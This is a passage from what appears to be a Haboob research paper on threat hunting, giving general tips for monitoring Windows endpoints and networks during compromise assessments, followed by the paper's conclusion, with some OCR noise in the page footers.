matched rules and make sure if it's indeed a false positive or a real malicious activity.
However, you could create better use cases than the previously created.

Copyright © 2020 Haboob httpSo/ftameHeaininghedsoob.sa 31



HA3CO3

From the writer perspective, below are some of the threat hunting tips that could help
you during a compromise assessment engagement (and it's not necessary to be
followed):

= As a threat hunter, you have to cover everything across the environment as
possible including the network and the endpoints.

* |n the endpoints, monitor and search for processes, file creation, command-
line arguments, PowerShell commands, known malicious script types (vbs, bat,
ps1), scheduled tasks, services, autoruns, suspicious EXEs, TEMP folder and
hidden files.

= |n the network, monitor and search for suspicious outbound/inbound
connections, access to suspicious web files (php, aspx) continuously,
connections with random ports, RDP connections, any spike in the traffic.

= Whenever you find a suspicious activity and you are not fully sure about it, try
to investigate that activity until you make a decision that is a false positive or
indeed a malicious activity.

= Windows is recording almost everything, so try to find out and understand
(what Windows records) and use it for your hunting purposes.

* |ncaseyoudon't have any security solution for storing the logs (like SIEM, EDR),
Windows Events should be your friend.

= Threat intelligence information are a very important for hunting the bad guys.
The Indicator of Compromise (loC) of a previous attack or engagement will help
you in the investigation process and hunting a known malicious group.

= A solution like EDR is a good for hunting in a large scale environment, but don't
rely on it most of the time (DFIR skills is important).

= There are many artifacts can be found on Windows machines (some of them
are covered in this paper), so use the artifacts wisely.

= Remember always to “think like a red teamer or an attacker”.

= Before starting the hunting process, assume that the enterprise is already
breached and make an assumption for that.

Copyright © 2020 Haboob httpSo/ftameHeaininghedsoob.sa 32



HA3CO3

As a threat hunter or DFIR specialist, it's important to sweep over the endpoints and the
network and try to cover everything as possible for the sake of hunting and detecting the
malicious activities. Windows is recording a huge amount of user activity, and we, as threat
hunters, have to focus on the artifacts (and other data) in order to catch any suspicious
activity and proceed our investigation during a compromised assessment or an incident. In
this research paper, we have covered some of the red team activities that we observe many
times and we used some of the artifacts to hunt the bad guys. However, there are still many
technigues that the red teamers or the attackers can use over the machines and the domain.
Hence, you have to be always ready for any kind of attack and prepare the team and the
technology to defeat the attackers and protect your assets from the enemies.
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